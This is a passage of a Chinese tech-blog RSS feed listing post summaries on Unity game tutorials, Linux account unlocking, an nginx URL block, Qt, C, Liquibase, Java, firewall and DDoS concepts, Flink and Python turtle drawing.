      <description>目录&#xA;一.目的&#xA;1.想知道:愤怒的小鸟:如何制作&#xA;2.做好学习笔记，方便下次查看&#xA;二.参考&#xA;1.SIKI学院&#xA;三.注意&#xA;1.版本&#xA;操作:1:07猪的受伤&#xA;1.游戏逻辑&#xA;1.图片裁剪：制作背景等&#xA;1.创建空物体，取名字为env​ 1.拖拽地面图片在env下面+并且添加碰撞器+调整碰撞器的位置+复制地面&#xA;1.设置鸟的角阻力：让其 不会一直滚动&#xA;1.运行结果：成功&#xA;1.添加小猪，改名字为pig&#xA;1.运行结果：&#xA;1.小猪添加代码： 1.小猪设置&#xA;1.运行结果&#xA;操作:2: 08弹弓画线操作&#xA;1.制作左边弹弓的位置：&#xA;1.左右弹弓添加划线组件&#xA;1.代码：弹弓划线&#xA;1.小鸟设置+划线宽度设置&#xA;1.运行结果：成功&#xA;操作:3:09死亡、加分特效的制作&#xA;1.游戏逻辑 1.新建爆炸的特效：&#xA;1.给特效添加代码：Boom&#xA;1.BOOM特效最后一帧添加事件&#xA;1.Boom作为预制件&#xA;1.小猪代码：进行销毁的处理&#xA;1.运行效果：成功&#xA;1.加分特效图片制作：&#xA;1.代码：pig添加加分特效产生、销毁 ​&#xA;1.运行效果：成功&#xA;操作：4：10游戏逻辑的判定，实现多只小鸟的飞出&#xA;1.游戏逻辑&#xA;1.新建空物体：&#xA;1.代码： GameManager&#xA;1.鸟的代码：&#xA;1.猪的代码：&#xA;1.Unity设置&#xA;1.运行效果：完成&#xA;一.目的 1.想知道:愤怒的小鸟:如何制作 2.做好学习笔记，方便下次查看 二.参考 1.SIKI学院 登录 - SiKi学院 - 生命不息，学习不止！&#xA;good：学习的网址&#xA;三.注意 1.版本 Unity2017.2.0f3VS2019UnityHUB 2.5.6 操作:1:07猪的受伤 1.游戏逻辑 ​&#xA;1.图片裁剪：制作背景等 ​</description>
    </item>
    <item>
      <title>计算机基础常识快捷键</title>
      <link>https://bchobby.github.io/posts/d917d6dc03348d9505b7fc53546765b1/</link>
      <pubDate>Wed, 29 Dec 2021 11:08:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d917d6dc03348d9505b7fc53546765b1/</guid>
      <description>1 常用快捷键 待更新！&#xA;2.页面回到页尾、页首 ctrl+end&#xA;ctrl+home</description>
    </item>
    <item>
      <title>linux用户登陆被锁定查看与解锁（后续补充策略）</title>
      <link>https://bchobby.github.io/posts/817467dcedcd4aeddb239f13ff3f003f/</link>
      <pubDate>Tue, 28 Dec 2021 19:27:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/817467dcedcd4aeddb239f13ff3f003f/</guid>
      <description>1.查看是否被锁定 sudo pam_tally2 --user=root&#xA;sudo pam_tally2 --user root&#xA;2.解锁 sudo pam_tally2 -u root -r --reset</description>
    </item>
    <item>
      <title>[Nginx] nginx屏蔽某个url和指定参数访问</title>
      <link>https://bchobby.github.io/posts/a0fb7098a0d9ba7f8056579e8af109c1/</link>
      <pubDate>Tue, 28 Dec 2021 16:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0fb7098a0d9ba7f8056579e8af109c1/</guid>
      <description>有个地址总是被人恶意访问，可以配置nginx屏蔽这个请求&#xA;域名/chatIndex?kefu_id=l5702123&amp;amp;ent_id=324&#xA;location ~ / { if ( $query_string ~* ^(.*)?kefu_id=l5702123&amp;amp;ent_id=324 ){ return 403; } } 这样对方的请求全都变成403</description>
    </item>
    <item>
      <title>Qt之QString字符串类的详细介绍及功能函数示例用法</title>
      <link>https://bchobby.github.io/posts/9ec34910e3ae4a3d4dcfc88d93b475c8/</link>
      <pubDate>Tue, 28 Dec 2021 13:33:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ec34910e3ae4a3d4dcfc88d93b475c8/</guid>
      <description>前序：为了加深对Qt各个类的认识和了解，决定以后再闲暇的时间对Qt类进行详细的阅读（基于Qt cteater 的帮助文档），这样既可以提高自己的英文阅读能力，也可以对各个类有一个更加深入的认识和了解。&#xA;注：整个对Qt的拆解和分析都是基于Qt 5.80&#xA;开始啃帮助文档。以下总结不会对帮助文档全篇内容翻译，会在自己翻译的基础上加上自己的理解，进行一个简单的总结，以便在使用时忘记的时候复习查看。&#xA;目录&#xA;1.Detailed Description（详细描述）&#xA;2. Public Functions 公有的函数&#xA;2.1 类对象的构造&#xA;2.2 追加字符串（前追加prepend or push_front和后追加append or push_back）&#xA;2.3 组合字符串（arg）&#xA;2.4 字符串的裁剪（chop，truncate，resize，remove）&#xA;2.5 字符串的比较（compare,constData）&#xA;2.6 判断字符串是否存在（contains）&#xA;2.7 判断字符串出现的次数（count）&#xA;2.8 字符串的大小长度（count，size，length）&#xA;2.9 判断字符串是否以某一个子串开始（startsWith）&#xA;2.11 查找字符串获取第一次出现位置索引（indexof）&#xA;2.12 查找字符串获取最后一次出现位置索引（lastIndexof）&#xA;2.13 字符串的插入（insert，left，leftJustified，rightJustified）&#xA;2.14 字符串的分割（mid）&#xA;2.15 字符串的删除（remove）&#xA;2.16 字符串的替换（replace）&#xA;2.17 字符串的截取（section）&#xA;2.18 字符串的裁剪（fill）&#xA;2.19 字符串的简化（simplified，trimmed）&#xA;2.20 分隔字符串 （split）&#xA;2.22 字符串------&amp;gt;数（toDouble，toInt......）&#xA;2.23 数------&amp;gt;QString字符串（setNum，number）&#xA;2.24 字符串的大小写转换（toLower，toUpper）&#xA;2.25 其他（at，begin，end，isEmpty，isNull，clear）&#xA;3. 字符串的重载&#xA;1.Detailed Description（详细描述） ①、首先QString字符串类是提供的基于Unicode的字符串。QString存储一个16位的QChar字符串，每个QChar对应一个Unicode 4.</description>
    </item>
    <item>
      <title>【C语言】输入一行字符，分别统计出其中英文字母 空格 数字和其他字符的个数</title>
      <link>https://bchobby.github.io/posts/aa267e0d2f6ae41e90cdaf4a3672f60c/</link>
      <pubDate>Tue, 28 Dec 2021 11:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa267e0d2f6ae41e90cdaf4a3672f60c/</guid>
      <description> 输入一行字符，分别统计出其中英文字母 空格 数字和其他字符的个数&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char c; int letters=0,space=0,digit=0,other=0; printf(&#34;请输入一行字符：&#34;); while ((c=getchar())!=&#39;\n&#39;){ if (c &amp;gt;= &#39;a&#39;&amp;amp;&amp;amp;c &amp;lt;= &#39;z&#39; || c &amp;gt;= &#39;A&#39;&amp;amp;&amp;amp;c &amp;lt;= &#39;Z&#39;){ letters++; }else if(c == &#39; &#39;){ space++; }else if(c&amp;gt;=&#39;0&#39;&amp;amp;&amp;amp;c&amp;lt;=&#39;9&#39;){ digit++; }else{ other++; } } printf(&#34;字母数:%d\n空格数:%d\n数字数:%d\n其他字符:%d\n&#34;,letters,space,digit,other); return 0; } </description>
    </item>
    <item>
      <title>SpringCloud微服务 Liquibase pdman实践</title>
      <link>https://bchobby.github.io/posts/248bae9cea8712c67280f43c8376063d/</link>
      <pubDate>Tue, 28 Dec 2021 10:38:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/248bae9cea8712c67280f43c8376063d/</guid>
      <description>优势 安全（网络隔离）保障，生产环境不提供内网数据库ip地址，数据库所有变更全部通过liquibase操作&#xA;pdman轻量级文档导出，方便阅读、评审&#xA;pdman数据库通过git多人协作设计、版本管理比较方便&#xA;pdman自动生成ddl，方便liquibase反向生成changeLog&#xA;liquibase 多个微服务（多个数据库）场景下，表结构、初始数据（字典、基础配置等）版本管理方便，全自动创建、变更、自检&#xA;liquibase 多环境下（开发、测试、UAT、生产），保障表结构、初始数据（字典、基础配置等）一致，多环境自动同步，无额外成本&#xA;liquibase 表重构changeSet语法简单，易上手，官方文档全面、易懂&#xA;liquibase 再也不用担心在dev环境里做的变更，是否在其它环境也同步了。&#xA;1.liquibase简介 Liquibase是一个用于跟踪、管理和应用数据库变化的开源的数据库重构工具。它将所有数据库的变化（包括结构和数据）都保存在XML文件中，便于版本控制。&#xA;不依赖于特定的数据库，目前支持包括Oracle/Sql Server/DB2/MySql/Sybase/PostgreSQL/Caché等12种数据库，这样在数据库的部署和升级环节可帮助应用系统支持多数据库。&#xA;提供数据库比较功能，比较结果保存在XML中，基于该XML你可用Liquibase轻松部署或升级数据库。&#xA;以XML存储数据库变化，其中以作者和ID唯一标识一个变化（ChangSet），支持数据库变化的合并，因此支持多开发人员同时工作。&#xA;在数据库中保存数据库修改历史（DatabaseChangeHistory），在数据库升级时自动跳过已应用的变化（ChangSet）。&#xA;提供变化应用的回滚功能，可按时间、数量或标签（tag）回滚已应用的变化。通过这种方式，开发人员可轻易的还原数据库在任何时间点的状态。&#xA;可生成数据库修改文档（HTML格式）&#xA;提供数据重构的独立的IDE和Eclipse插件。&#xA;2.pdman 官方网址：PDMan数据库建模&#xA;开源的数据库建模工具，json文档，DDL生成，文档生成，通用字段模板，数据域自定义，多数据库类型支持。&#xA;3. 使用场景-流程 微服务liquibase配置&#xA;pdman数据库设计文件&#xA;pdman数据库设计表自动生成DDL&#xA;3.1 新库（微服务）-表设计&#xA;pdman新建项目&#xA;pdman在新项目中创建模块（根据微服务）&#xA;pdman配置默认数据通用字段（如乐观锁、租户id、创建人等）&#xA;pdman在模块中创建表和索引&#xA;表设计评审后，将pdman json文件放到项目根目录下并提交-版本管理&#xA;dbclient（navicat/datagrip）连接上dev环境数据库实例，使用pdman生成ddl，然后执行ddl生成表对象及索引&#xA;在微服务pom中配置liquibase maven插件，如数据库连接、chagelog配置、指定影响的表、表结构、表数据，其中outputChangeLogFile配置changelog输入的位置&#xA;使用maven命令 ：liquibase:generateChangeLog生成resource_init-1.0.0.xml，resource为微服务标识，按需修改&#xA;使用maven命令 ：liquibase:dropAll命令，删除数据库手工创建的所有表结构和索引&#xA;启动项目，查看日志，数据库确认已经按changeLog自动生成相应的表结构和索引&#xA;3.2 库中有表-表重构&#xA;3.2.1 新增表&#xA;pdman模块中设计表、索引&#xA;评审通过后提交json文件&#xA;pdman生成新增表的ddl（结构和索引），dbclient手动生成表结构和索引&#xA;在微服务pom中配置liquibase maven插件，通过diffIncludeObjects标签指定新增表的表名，指定changeLog输出文件名resource_init-1.0.1.xml&#xA;使用maven命令 ：liquibase:generateChangeLog生成resource_init-1.0.1.xml，resource为微服务标识，按需修改&#xA;dbclient手动删除新增的表结构和索引&#xA;启动项目，查看日志，数据库确认已经按changeLog自动生成相应的表结构和索引&#xA;3.2.2 表结构变更&#xA;pdman模块中变更表设计&#xA;评审通过后提交json文件&#xA;resource_init-1.0.1.xml中编写相应changeSet，或者新建resource_init-1.0.2.xml，在其中相应changeSet，内部达成共识（变更的业务是否独立，changeSet数量）&#xA;启动项目，查看日志，数据库确认已经按changeLog自动对表结构进行重构&#xA;提交变更的changeSet&#xA;4 项目配置 4.</description>
    </item>
    <item>
      <title>Scanner类的用法</title>
      <link>https://bchobby.github.io/posts/0401e2651bcbfc244ae0c2c71151381f/</link>
      <pubDate>Mon, 27 Dec 2021 22:54:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0401e2651bcbfc244ae0c2c71151381f/</guid>
      <description>1.hasNext()&#xA;当执行hasNext()时，它会先扫描缓冲区中是否有字符，有则返回true，继续扫描。直到扫描为空，这时并不返回false，而是将方法阻塞，等待你输入内容然后继续扫描。&#xA;也就是说，hasNext()会一直等待方法调用者的输入，不会停止。那么应该如何停止呢，这时就要用到hasNext()的重载函数&#xA;(图片来自https://blog.csdn.net/gao_zhennan/article/details/80562548）&#xA;即hasNext(&#34;&#34;)，使用一个字符串作为匹配符，当出现该字符串，即返回true。然后我们将其取反，即变成当出现该字符串，返回false的结果，也就可以将该字符串当作结束标志来使用从而使得程序块停止。&#xA;另外,hasNext还有一系列衍生的函数比如hasNextInt,hasNextDouble等，效果跟hasNext差不多，但是当hasNextxxx读到与xxx不匹配的类型时，该程序块就结束了。我们可以利用这点来设置输入数据的结束标志，比如要计算一串数字的平均值，我们可以采用累加的方法获取sum，最后除以数字个数m。我们可以在输入的最后输入一个end字符串，这样字符串和Int类型不匹配，累加就会自动结束了。&#xA;2.nextxxx()方法&#xA;next()：接收一个字符串，以空格为间隔；&#xA;nextInt()：接收一个整数，以空格为间隔；&#xA;nextDouble()：接收一个数字，以空格为间隔。&#xA;nextFloat(）等等以此类推&#xA;3.nextLine()&#xA;接收一行字符串，以回车作为结束符&#xA;4.next()和nextLine()的区别&#xA;next():&#xA;1、一定要读取到有效字符后才可以结束输入。&#xA;2、对输入有效字符之前遇到的空白，next() 方法会自动将其去掉。&#xA;3、只有输入有效字符后才将其后面输入的空白作为分隔符或者结束符。&#xA;next() 不能得到带有空格的字符串。&#xA;nextLine()：&#xA;1、以Enter为结束符,也就是说 nextLine()方法返回的是输入回车之前的所有字符。&#xA;2、可以获得空白。&#xA;注：为了文件读写的安全性，Scanner类使用完后要用close()方法关闭</description>
    </item>
    <item>
      <title>SiamMask环境配置</title>
      <link>https://bchobby.github.io/posts/a9b6a06046880c77e517943c9beb0b07/</link>
      <pubDate>Mon, 27 Dec 2021 22:38:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9b6a06046880c77e517943c9beb0b07/</guid>
      <description>官方项目：https://github.com/foolwood/SiamMask&#xA;直接按照给出的步骤配置即可&#xA;可参考下：SiamMask详解&#xA;不过呢，按照官方给的步骤一般问题不大，需要注意有两个地方：&#xA;（1）环境版本&#xA;平常常用的就可以，不是一定要和推荐一致&#xA;我采用的版本是：Python 3.6&#xA;Pytorch 1.0&#xA;CUDA 10.2&#xA;torch 1.2.0 torchvision 0.4.0&#xA;（2）若是执行&#xA;python ../../tools/demo.py --resume SiamMask_DAVIS.pth --config config_davis.json 遇到调用某个函数或变量不存在，记得执行以下两步：&#xA;1、在项目主目录执行&#xA;export PYTHONPATH=$PWD:$PYTHONPATH&#xA;2、在&#xA;experiments/siammask_sharp 文件夹下执行&#xA;export PYTHONPATH=$PWD:$PYTHONPATH 这样就可以了。</description>
    </item>
    <item>
      <title>包过滤防火墙</title>
      <link>https://bchobby.github.io/posts/22d86cc4df429c3d8f3fcbc8f059bc98/</link>
      <pubDate>Mon, 27 Dec 2021 20:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22d86cc4df429c3d8f3fcbc8f059bc98/</guid>
      <description>包过滤防火墙&#xA;包过滤( Packet Filter )是在网络层中根据事先设置的安全访问策略(过滤规则) ,检查每一个数据包的源IP地址、目的IP地址以及IP分组头部的其他各种标志信息(如协议、服务类型等) , 确定是否允许该数据包通过防火墙一般会配置成双向过滤包过滤器设置成一些基于IP或TCP字头域匹配的规则当没有匹配的规则，防火墙执行默认策略&#xA;默认=丢弃&#xA;默认=传递 缺点&#xA;由于包过滤防火墙不检查更高层数据，因此这种防火墙不能阻止利用了特定应用的漏洞或功能所进行的攻击&#xA;包过滤防火墙对利用 TCP / IP 规范和协议栈存在的问题进行的攻击没有很好的应对措施（网络层地址假冒、无法阻止ip欺骗）&#xA;大多数包过滤防火墙不支持高级的用户认证机制。&#xA;针对包过滤路由器可能受到的攻击方式以及合适的应对措施&#xA;IP 地址假冒攻击——丢弃那些外部接口到达的而源地址标记为内部主机地址的包&#xA;源路由攻击——丢弃所有使用了此选项的包&#xA;细小帧攻击——包的第一个帧必须包含最少的预定的传输字头。如果第一个帧被否决了，过滤器将记住这个包并丢弃紧接着的所有帧</description>
    </item>
    <item>
      <title>技术分享 | 常见的DDoS攻击类型及防御措施</title>
      <link>https://bchobby.github.io/posts/c78a8f5e1ecd2cc3e772f756dd3ca525/</link>
      <pubDate>Mon, 27 Dec 2021 15:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c78a8f5e1ecd2cc3e772f756dd3ca525/</guid>
      <description>据权威数据显示，2021年上半年，全球发生DDoS攻击约 540 万次，同比增长11%，据估计，2021年整年DDoS攻击次数将创纪录地达到1100万次。其中超百G的大流量攻击次数在上半年就达到了2544次，同比增长50%以上，大幅高于整体攻击次数的增长幅度。&#xA;从这些数据中可以看出，随着网络技术的快速发展，DDoS攻击将呈现高频次、高增长、大流量等特点，对网络安全的威胁也会与日俱增，因此做好DDoS攻击的防护工作已是刻不容缓。&#xA;一、什么是DDoS攻击 分布式拒绝服务攻击(Distributed Denial of Service，简称“DDoS”)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击，或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点分布在不同地方，因此称这类攻击为分布式拒绝服务攻击。&#xA;二、DDoS攻击原理 单一的DoS攻击一般采用一对一方式，利用网络协议和操作系统的一些缺陷，采用欺骗和伪装的策略来进行网络攻击，使网站服务器充斥大量要求回复的信息，消耗网络带宽或系统资源，导致网络或系统不胜负荷以至于瘫痪而停止提供正常的网络服务。&#xA;与DoS攻击由单台主机发起攻击相比较，分布式拒绝服务攻击（DDoS）是借助数百、甚至数千台被入侵后安装了攻击进程的主机同时发起集团行为，从而快速达到消耗网络资源，造成网络或系统瘫痪的攻击效果。&#xA;三、DDoS攻击常见类型 1.流量型攻击&#xA;攻击原理：通过多个随机源“肉鸡”向攻击目标发送大量的数据包，占用攻击目标网络资源和处理单元，造成攻击目标的网络堵塞或宕机。&#xA;流量型DDoS攻击根据攻击方式的不同可以分为IP lood、SYN Flood以及UDP反射Flood等。&#xA;（1）IP lood&#xA;以多个随机的源主机地址向目的主机发送超大量的随机或特定的IP包，造成目标主机不能处理其他正常的IP报文。&#xA;（2）SYN Flood&#xA;以多个随机的源主机地址向目的主机发送syn包，而在收到目的主机的syn+ ack包后并不回应，目的主机为这些源主机建立大量的连接队列，由于没有收到ack一直维护这些连接队列，造成资源的大量消耗而不能向正常的请求提供服务。&#xA;（3）UDP 反射Flood&#xA;在短时间内冒充被攻击地址向外部公用的服务器发送大量的UDP请求包，外部服务器收到虛假的UDP请求就会回复大量的回应包给被攻击服务器地址，造成目标主机被保护，服务器不能处理其他正常的交互流量。&#xA;2.连接型攻击&#xA;攻击原理：利用目标用户获取服务器资源时需要交换DNS数据包的特性，发送大量的伪装DNS数据包导致目标用户网络拥塞，不能访问目标服务器。&#xA;连接型DDoS攻击根据攻击方式的不同可以分为DNS Query Flood和DNS Reply Flood等。&#xA;DNS Query Flood通过发起大量的DNS请求，导致DNS服务器无法响应正常用户的请求，正常用户不能解析DNS，从而不能获取服务。&#xA;DNS Reply Flood通过发起大量伪造的DNS回应包，导致DNS服务器带宽拥塞无法响应正常用户的请求，正常用户不能解析DNS，从而不能获取服务。&#xA;3.特殊协议缺陷攻击&#xA;攻击原理：利用目标用户平时使用服务所需要的协议漏洞，通过协议漏洞向目标用户递送大量的数据交换包，导致目标用户无法正常使用主机。特殊协议缺陷攻击常见的方式有Https Flood、Sip Invite Flood、Sip Register Flood、Ntp Request Flood、Connection Flood等。&#xA;（1）Https Flood&#xA;攻击者向被攻击服务器大量高频地发送请求服务，使服务器忙于向攻击者提供https响应资源，从而导致不能向正常的合法用户提供请求响应服务。&#xA;（2）Sip invite Flood&#xA;通过发起大量的Sip invite请求，导致网络视频电话会议Sip服务器无法响应正常用户的请求报文，占用服务器带宽使其阻塞，达到Sip报文洪水攻击的目的。&#xA;（3）Ntp Request Flood&#xA;攻击者向NTP服务器发送大量的请求报文，占用服务器带宽使其阻塞达到NTP攻击的目的。&#xA;（4）Connection Flood&#xA;利用真实IP地址(代理服务器、广告页面)在服务器上建立大量连接，造成服务器上残余连接过多，效率降低，甚至资源耗尽，无法响应。&#xA;四、DDoS攻击防护 1、网络设施&#xA;（1）保证足够带宽</description>
    </item>
    <item>
      <title>unnamed prototyped parameters not allowed when body is present</title>
      <link>https://bchobby.github.io/posts/153258dd80b908a39f8f0d72319aa656/</link>
      <pubDate>Mon, 27 Dec 2021 10:15:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/153258dd80b908a39f8f0d72319aa656/</guid>
      <description>写了一段代码，本以为没什么问题，结果报错：&#xA;: error: #141-D: unnamed prototyped parameters not allowed when body is present&#xA;结果查看了一下，使用的一个第三方库里面，居然把code定义成了一个宏&#xA;更改一下刚才函数的局部变量定义即可&#xA;发生这种错误，一般是变量和宏名称冲突导致的</description>
    </item>
    <item>
      <title>31 个 CSS Javascript 按钮悬停案例的效果</title>
      <link>https://bchobby.github.io/posts/93029d5c42d9697e21324348071517f1/</link>
      <pubDate>Mon, 27 Dec 2021 08:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93029d5c42d9697e21324348071517f1/</guid>
      <description>英文 | https://niemvuilaptrinh.medium.com/31-css-javascript-button-hover-effects-d536679cfbf4&#xA;翻译 | 杨小爱&#xA;今天，我们将进入使用 HTML、CSS、Javascript 构建的网站中按钮的精美效果示例！&#xA;01、带有箭头图标的按钮 CSS&#xA;演示地址：https://codepen.io/littlesnippets/pen/VjJmPB&#xA;02、动画按钮&#xA;演示地址：https://codepen.io/littlesnippets/pen/LxRKJm&#xA;03、多样动画按钮&#xA;演示地址：https://codepen.io/emanuelgsouza/pen/YVJOZo&#xA;04、动画按钮&#xA;演示地址：https://codepen.io/littlesnippets/pen/JXNYwe&#xA;05、悬停动画按钮&#xA;演示地址：https://codepen.io/Carlos1162/pen/eJdLXa&#xA;06、糖果色动画按钮&#xA;演示地址：https://codepen.io/yuhomyan/pen/OJMejWJ&#xA;07、订单动画按钮&#xA;演示地址：https://codepen.io/aaroniker/pen/oNgPOwo&#xA;08、动画按钮&#xA;演示地址：https://codepen.io/milanraring/pen/QWwyLdp&#xA;09、文本动画按钮&#xA;演示地址：https://codepen.io/madshaakansson/pen/iqDsG&#xA;10、悬停动画按钮&#xA;演示地址：https://codepen.io/dan10gc/pen/LzLwWp&#xA;11、删除动画按钮&#xA;演示地址：https://codepen.io/aaroniker/pen/MWwGbVb&#xA;12、动画按钮&#xA;演示地址：https://codepen.io/pizza3/pen/qmerBv&#xA;13、动画按钮&#xA;演示地址：https://codepen.io/prvnbist/pen/pWLJpa&#xA;14、动画按钮集合&#xA;演示地址：https://codepen.io/sazzad/pen/yNNNJG&#xA;15、动画按钮&#xA;演示地址：https://codepen.io/matchboxhero/pen/EwdmmP&#xA;16、动画按钮悬停效果&#xA;演示地址：https://codepen.io/colette-wilson/pen/EKaJvJ&#xA;17、纯CSS悬停效果&#xA;演示地址：https://codepen.io/marioandrade/pen/aOBZee&#xA;18、悬停按钮动画效果&#xA;演示地址：https://codepen.io/chrishammond/pen/eEmrww&#xA;19、动画按钮&#xA;演示地址：https://codepen.io/valentingalmand/pen/ggKrpY&#xA;20、CSS动画按钮&#xA;演示地址：https://codepen.io/githiro/pen/LwtzG&#xA;21、动画按钮&#xA;演示地址：https://codepen.io/aydev/pen/BbIsg&#xA;22、气泡按钮动画&#xA;演示地址：https://codepen.io/Grsmto/pen/RPQPPB&#xA;23、按钮动画&#xA;演示地址：https://codepen.io/nguyenlong/pen/kXGxJG&#xA;24、按钮动画&#xA;演示地址：https://codepen.io/Alexb98/pen/XWrqpxB&#xA;25、渐变按钮动画&#xA;演示地址：https://codepen.io/mars2601/pen/MKVNMX&#xA;26、花式菜单按钮动画&#xA;演示地址：https://codepen.io/nodws/pen/KgObjM&#xA;27、按钮动画&#xA;演示地址：https://codepen.io/littlesnippets/pen/dYoZpE&#xA;28、颜色动画按钮&#xA;演示地址：https://codepen.io/kitsune/pen/wWoRVW&#xA;29、颜色变化动画按钮&#xA;演示地址：https://codepen.io/alexpate/pen/YyLOWQ&#xA;30、Anmation的按钮动画合集</description>
    </item>
    <item>
      <title>Flink将数据写入到hdfs中</title>
      <link>https://bchobby.github.io/posts/268e861a690004d83a55db84bd9a60e3/</link>
      <pubDate>Mon, 27 Dec 2021 01:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/268e861a690004d83a55db84bd9a60e3/</guid>
      <description>1. 场景 随机产生数据然后将产生的数据写入到hdfs 中。&#xA;2. 随机数据源 代码：&#xA;package com.wudl.flink.hdfs.source; import org.apache.flink.api.java.tuple.Tuple; import org.apache.flink.api.java.tuple.Tuple4; import org.apache.flink.streaming.api.functions.source.SourceFunction; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Random; /** * @author ：wudl * @date ：Created in 2021-12-27 0:29 * @description： * @modified By： * @version: 1.0 */ public class MySource implements SourceFunction&amp;lt;String&amp;gt; { private boolean isRunning = true; String[] citys = {&#34;北京&#34;,&#34;广东&#34;,&#34;山东&#34;,&#34;江苏&#34;,&#34;河南&#34;,&#34;上海&#34;,&#34;河北&#34;,&#34;浙江&#34;,&#34;香港&#34;,&#34;山西&#34;,&#34;陕西&#34;,&#34;湖南&#34;,&#34;重庆&#34;,&#34;福建&#34;,&#34;天津&#34;,&#34;云南&#34;,&#34;四川&#34;,&#34;广西&#34;,&#34;安徽&#34;,&#34;海南&#34;,&#34;江西&#34;,&#34;湖北&#34;,&#34;山西&#34;,&#34;辽宁&#34;,&#34;内蒙古&#34;}; int i = 0; @Override public void run(SourceContext&amp;lt;String&amp;gt; ctx) throws Exception { Random random = new Random(); SimpleDateFormat df = new SimpleDateFormat(&#34;</description>
    </item>
    <item>
      <title>python基础——库</title>
      <link>https://bchobby.github.io/posts/771bb3d5cfa5c11aca159190dc8799ea/</link>
      <pubDate>Sun, 26 Dec 2021 23:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/771bb3d5cfa5c11aca159190dc8799ea/</guid>
      <description>库与方法&#xA;（1）turtle：图库&#xA;导入格式：&#xA;A:&#xA;import&amp;lt;库名&amp;gt;&#xA;&amp;lt;库名&amp;gt;.函数名（参数）&#xA;B:&#xA;import&amp;lt;库名&amp;gt; as &amp;lt;库的简名&amp;gt;&#xA;&amp;lt;库的简名&amp;gt;.函数名（参数）&#xA;C:&#xA;from&amp;lt;库名&amp;gt;import&amp;lt;库名/函数名&amp;gt;&#xA;函数名（参数）&#xA;（2）函数（方法）：&#xA;pensize(画笔大小像素)&#xA;pencolor(‘画笔的颜色’)/（R,G,B）(0-1)&#xA;color（‘画笔颜色’，‘填充颜色’）/（R,G,B）(0-1)&#xA;circle(园半径r像素)，r为正--左，r为负--右。&#xA;right（角度）&#xA;left（角度）</description>
    </item>
    <item>
      <title>用python画玫瑰花</title>
      <link>https://bchobby.github.io/posts/0cec482c3428c320024ca14548e7e4d1/</link>
      <pubDate>Sun, 26 Dec 2021 23:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cec482c3428c320024ca14548e7e4d1/</guid>
      <description>import turtle as t t.setup(800,800) t.hideturtle() t.speed(11) t.penup() t.goto(50,-450) t.pensize(5) t.pencolor(&#34;black&#34;) t.seth(140) t.pendown() t.speed(10) t.circle(-300,60) t.fd(100) #叶子 t.seth(10) t.fd(50) t.fillcolor(&#34;green&#34;) t.begin_fill() t.right(40) t.circle(120,80) t.left(100) t.circle(120,80) t.end_fill() t.seth(10) t.fd(90) t.speed(11) t.penup() t.fd(-140) t.seth(80) #一片叶子 t.pendown() t.speed(10) t.fd(70) t.seth(160) t.fd(50) t.fillcolor(&#34;green&#34;) t.begin_fill() t.right(40) t.circle(120,80) t.left(100) t.circle(120,80) t.end_fill() t.seth(160) t.fd(90) t.speed(11) t.penup() t.fd(-140) t.seth(80) t.pendown() t.speed(10) # t.fd(100) #花瓣 t.seth(-20) t.fillcolor(&#34;red&#34;) t.begin_fill() t.circle(100,100) t.circle(-110,70) t.seth(179) t.circle(223,76) t.end_fill() #2花瓣 t.speed(11) t.fillcolor(&#34;red&#34;) t.begin_fill() t.left(180) t.</description>
    </item>
    <item>
      <title>python基础——标识符</title>
      <link>https://bchobby.github.io/posts/4a9b049abfdb9bffe0e409b726528934/</link>
      <pubDate>Sun, 26 Dec 2021 23:37:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a9b049abfdb9bffe0e409b726528934/</guid>
      <description>标识符是编程时使用的名字，用于给变量、函数、语句块等命名，Python 中标识符由字母、数字、下划线组成，不能以数字开头，区分大小写。&#xA;以下划线开头的标识符有特殊含义，单下划线开头的标识符，如：_xxx ，表示不能直接访问的类属性，需通过类提供的接口进行访问，不能用 from xxx import * 导入；双下划线开头的标识符，如：__xx，表示私有成员；双下划线开头和结尾的标识符，如：__xx__，表示 Python 中内置标识，如：__init__() 表示类的构造函数。</description>
    </item>
    <item>
      <title>csv文件和txt文件的转换</title>
      <link>https://bchobby.github.io/posts/26f4c636076b92be701c4ee1a2d8be4c/</link>
      <pubDate>Sat, 25 Dec 2021 20:51:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26f4c636076b92be701c4ee1a2d8be4c/</guid>
      <description> csv文件：Comma-Separated Values，逗号分隔值文件。其基本规则：&#xA;纯文本格式（txt）&#xA;特殊符号分隔（逗号）&#xA;以行为单位（line/row），中间没有空行&#xA;逗号一定是英文半角，分隔每列数据（二维数组）&#xA;txt文件：由单一特定编码（如UTF_8）组成的文件,能用记事本打开和读取的文件 </description>
    </item>
    <item>
      <title>【批量地点检索-高德百度地图地理编码对比】</title>
      <link>https://bchobby.github.io/posts/3403198dcb18d0328b7ece29b007c6c4/</link>
      <pubDate>Fri, 24 Dec 2021 17:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3403198dcb18d0328b7ece29b007c6c4/</guid>
